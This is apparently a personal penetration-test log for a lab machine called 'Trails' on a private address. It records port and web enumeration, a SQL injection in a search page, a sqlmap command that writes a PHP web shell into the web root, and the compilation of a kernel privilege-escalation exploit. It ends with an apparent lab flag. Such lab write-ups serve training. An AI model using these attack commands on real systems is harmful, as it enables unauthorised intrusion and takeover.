Trails

๐Ÿงช Pentest Log: {{date:2025-08-31}}

๐Ÿ” Target Information

ip=10.11.1.41

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

The search function seem to be vulnerable to SQLI

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

sqlmap -u "http://10.11.1.41/search-results.php" --data "search=Rabacal" --dbs --batch


sqlmap -u "http://10.11.1.41/search-results.php" --data "search=Rabacal" --batch --file-write="shell.php" --file-dest="/var/www/html/shell.php"

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Kernel Check:

uname -a

Found

4.4.0-81-generic #104-Ubuntu

Google for exploit

Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

gcc 45010.c -o 45010 --static
./45010
2y1n8eogzx30wj706qa1